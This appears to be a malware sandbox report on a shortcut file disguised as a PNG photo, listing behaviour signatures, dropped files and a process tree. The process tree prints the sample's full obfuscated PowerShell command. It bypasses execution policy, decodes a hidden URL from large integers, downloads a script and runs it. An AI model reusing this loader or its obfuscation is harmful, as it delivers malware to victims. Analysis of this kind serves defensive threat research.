Analysis

  • max time kernel
    149s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    04/06/2026, 14:04

General

  • Target
    PHOTO-558719252.png.lnk
  • Size 2KB
  • Sample260604-rdeslsgy8n
  • SHA256 60ba5d7103867026b0a36bb33d4d327f77b494f0541607ae8f6fa1ca0279d222
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\PHOTO-558719252.png.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4768
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -c "$IAPnM=\"342453531530470507077081729126284570566\" -as [System.Numerics.BigInteger];$jDn1NR=\"194315026848245571487991382916030744406\" -as [System.Numerics.BigInteger];$gd2V8N=$IAPnM - $jDn1NR;for($IBR4yH5=100+156;$gd2V8N -ne 0;$gd2V8N=$gd2V8N / $IBR4yH5){$jYd8z7X+=[char]([int]($gd2V8N % $IBR4yH5));};iwr $jYd8z7X -OutFile $env:TEMP\dpmY7N.ps1 -UseBasicParsing; powershell -ep bypass -File $env:TEMP\dpmY7N.ps1"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:8
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -File C:\Users\Admin\AppData\Local\Temp\dpmY7N.ps1
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2432

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 1KB
        • SHA256 3c6d5ecae46dd9f6756e444bc51635cdd9696f3ed9fe0601cf41059a04085f88
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 a35ced4898bed61abc1de33ab025222ded89e682471684b04bf6098c079df26b
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_cqv2rp4h.op3.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cqv2rp4h.op3.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/8-3-0x000001B1C6200000-0x000001B1C6210000-memory.dmp

        memory/8-2-0x000001B1C6200000-0x000001B1C6210000-memory.dmp

        memory/8-9-0x000001B1C61B0000-0x000001B1C61D2000-memory.dmp

        memory/8-12-0x000001B1C6200000-0x000001B1C6210000-memory.dmp

        memory/8-13-0x000001B1C6200000-0x000001B1C6210000-memory.dmp